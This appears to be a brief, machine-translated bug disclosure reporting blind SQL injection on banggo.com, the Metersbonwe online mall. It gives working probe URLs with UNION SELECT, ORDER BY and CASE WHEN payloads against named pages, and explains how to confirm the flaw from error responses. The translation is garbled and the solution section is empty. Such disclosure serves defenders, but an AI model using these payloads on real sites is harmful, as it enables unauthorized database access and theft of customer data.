Blind injection at metersbonwe's official mall and competition sub-station

Blind injection at one or two locations of metersbonwe official mall
Detailed description:
 
Blind Note 1:
Http://www.banggo.com/Search.shtml? Cid = 1 & dis = [0-9.5] & ad = 155% 20 order % 20by % 2017% 23
Http://www.banggo.com/Search.shtml? Cid = 1 & dis = [0-9.5] & ad = 155% 20and % 201 = 2% 20 union % 20 select %, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0%, 23
 
Try inputting different SQL statements to prove that this is injection... The correct statement returns normal, and the wrong statement returns an error.
 
Blind NOTE 2: www.2cto.com
 
Http://k.banggo.com/Child/playerlist.shtml? Sort = (case when (1 = 1) then no else email end) % 23
 
Order by injection
The injection is based on the when condition and the displayed sorting result.



 
 
Solution:
 
Understand
 
Author kobin97